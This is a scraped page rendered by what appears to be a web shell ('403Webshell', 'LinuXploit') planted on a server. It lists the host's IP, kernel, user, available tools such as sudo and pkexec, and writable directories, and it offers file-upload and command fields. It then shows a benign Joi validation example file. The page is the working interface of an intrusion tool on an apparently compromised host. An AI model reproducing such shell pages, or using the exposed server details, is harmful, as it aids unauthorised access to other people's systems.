403Webshell
Server IP : 69.164.203.165  /  Your IP : 216.73.216.219
Web Server : nginx/1.18.0
System : Linux localhost 6.14.3-x86_64-linode168 #1 SMP PREEMPT_DYNAMIC Mon Apr 21 19:47:55 EDT 2025 x86_64
User : www-data ( 33)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /opt/homecoming-api/node_modules/joi/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/homecoming-api/node_modules/joi/examples/customMessage.js
var Joi = require('../');


var schema = Joi.object().options({ abortEarly: false }).keys({
    email: Joi.string().email().required().label('User Email'),
    password: Joi.string().min(8).required(),
    password_confirmation: Joi.any().valid(Joi.ref('password')).required().options({ language: { any: { allowOnly: 'must match password' }, label: 'Password Confirmation' } }).label('This label is not used because language.label takes precedence'),
    first_name: Joi.string().required(),
    last_name: Joi.string().required(),
    company: Joi.string().optional()
});


var data = {
    email: 'not_a_valid_email_to_show_custom_label',
    password: 'abcd1234',
    password_confirmation: 'abc1',
    first_name: 'Joe',
    last_name: 'Doe'
};

Joi.assert(data, schema);

Youez - 2016 - github.com/yon3zu
LinuXploit